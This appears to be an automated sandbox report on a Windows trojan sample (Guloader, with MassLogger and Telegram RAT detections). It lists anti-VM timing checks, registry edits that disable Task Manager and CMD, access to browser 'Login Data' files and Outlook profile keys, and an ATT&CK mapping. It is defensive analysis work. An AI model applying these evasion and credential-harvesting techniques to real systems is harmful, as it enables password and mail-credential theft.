Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\6mGpn6kupm.exe	API/Special instruction interceptor: Address: 5767EC9
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	API/Special instruction interceptor: Address: 3BC7EC9

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\6mGpn6kupm.exe	RDTSC instruction interceptor: First address: 572CB38 second address: 572CB38 instructions: 0x00000000 rdtsc 0x00000002 test ecx, edx 0x00000004 test ecx, edx 0x00000006 cmp ebx, ecx 0x00000008 jc 00007FFB1076DC1Fh 0x0000000a cmp bh, ah 0x0000000c test dl, 0000002Ch 0x0000000f inc ebp 0x00000010 test edx, ecx 0x00000012 inc ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	RDTSC instruction interceptor: First address: 3B8CB38 second address: 3B8CB38 instructions: 0x00000000 rdtsc 0x00000002 test ecx, edx 0x00000004 test ecx, edx 0x00000006 cmp ebx, ecx 0x00000008 jc 00007FFB10F7A66Fh 0x0000000a cmp bh, ah 0x0000000c test dl, 0000002Ch 0x0000000f inc ebp 0x00000010 test edx, ecx 0x00000012 inc ebx 0x00000013 rdtsc

Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Memory allocated: 34D60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Memory allocated: 349B0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 598997	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 597469	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 597140	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 597031	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 596812	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 596594	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 596375	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 596266	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 596047	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 595937	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 595719	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 595500	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 595391	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 595172	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 594844	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 594625	Jump to behavior

Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Window / User API: threadDelayed 1240			Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Window / User API: threadDelayed 8612			Jump to behavior

Source: C:\Users\user\Desktop\6mGpn6kupm.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsvC041.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\6mGpn6kupm.exe

API coverage: 3.4 %

Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -27670116110564310s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 748	Thread sleep count: 1240 > 30	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 748	Thread sleep count: 8612 > 30	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -599219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -598997s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -598890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -598672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -598453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -598344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -598234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -598125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -598015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -597906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -597797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -597687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -597578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -597469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -597359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -597250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -597140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -597031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -596922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -596812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -596703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -596594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -596484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -596375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -596266s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -596156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -596047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -595937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -595828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -595719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -595609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -595500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -595391s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -595281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -595172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -595062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -594953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -594844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -594734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe TID: 1840	Thread sleep time: -594625s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 0_2_0040672B FindFirstFileW,FindClose,	0_2_0040672B
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 0_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405AFA
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 0_2_00402868 FindFirstFileW,	0_2_00402868
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_00402868 FindFirstFileW,	5_2_00402868
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_0040672B FindFirstFileW,FindClose,	5_2_0040672B
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	5_2_00405AFA

Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 598997	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 597469	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 597140	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 597031	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 596812	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 596594	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 596375	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 596266	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 596047	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 595937	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 595719	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 595500	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 595391	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 595172	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 594844	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Thread delayed: delay time: 594625	Jump to behavior

Source: 6mGpn6kupm.exe, 00000000.00000002.1713367540.0000000000588000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA#
Source: 6mGpn6kupm.exe, 00000005.00000002.2541418618.0000000004737000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh y
Source: 6mGpn6kupm.exe, 00000005.00000002.2541418618.000000000478E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\6mGpn6kupm.exe	API call chain: ExitProcess graph end node			graph_0-4554
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	API call chain: ExitProcess graph end node			graph_0-4711

Source: C:\Users\user\Desktop\6mGpn6kupm.exe

Code function: 0_2_701C1B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_701C1B5F

Source: C:\Users\user\Desktop\6mGpn6kupm.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\6mGpn6kupm.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\6mGpn6kupm.exe

Process created: C:\Users\user\Desktop\6mGpn6kupm.exe "C:\Users\user\Desktop\6mGpn6kupm.exe"

Jump to behavior

Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Queries volume information: C:\Users\user\Desktop\6mGpn6kupm.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\6mGpn6kupm.exe

Code function: 0_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_004034A5

Source: C:\Users\user\Desktop\6mGpn6kupm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Task Manager(disabletaskmgr)

Source: C:\Users\user\Desktop\6mGpn6kupm.exe

Registry value created: DisableTaskMgr 1

Jump to behavior

Disables CMD prompt

Source: C:\Users\user\Desktop\6mGpn6kupm.exe

Registry value created: DisableCMD 1

Jump to behavior

Disables the Windows task manager (taskmgr)

Source: C:\Users\user\Desktop\6mGpn6kupm.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 00000005.00000002.2568386799.0000000034EBB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6mGpn6kupm.exe PID: 3144, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000005.00000002.2568386799.0000000034EBB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6mGpn6kupm.exe PID: 3144, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\6mGpn6kupm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\6mGpn6kupm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 00000005.00000002.2568386799.0000000034EBB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6mGpn6kupm.exe PID: 3144, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 00000005.00000002.2568386799.0000000034EBB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6mGpn6kupm.exe PID: 3144, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000005.00000002.2568386799.0000000034EBB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6mGpn6kupm.exe PID: 3144, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	31 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
6mGpn6kupm.exe	58%	ReversingLabs	Win32.Trojan.Guloader
6mGpn6kupm.exe	76%	Virustotal		Browse
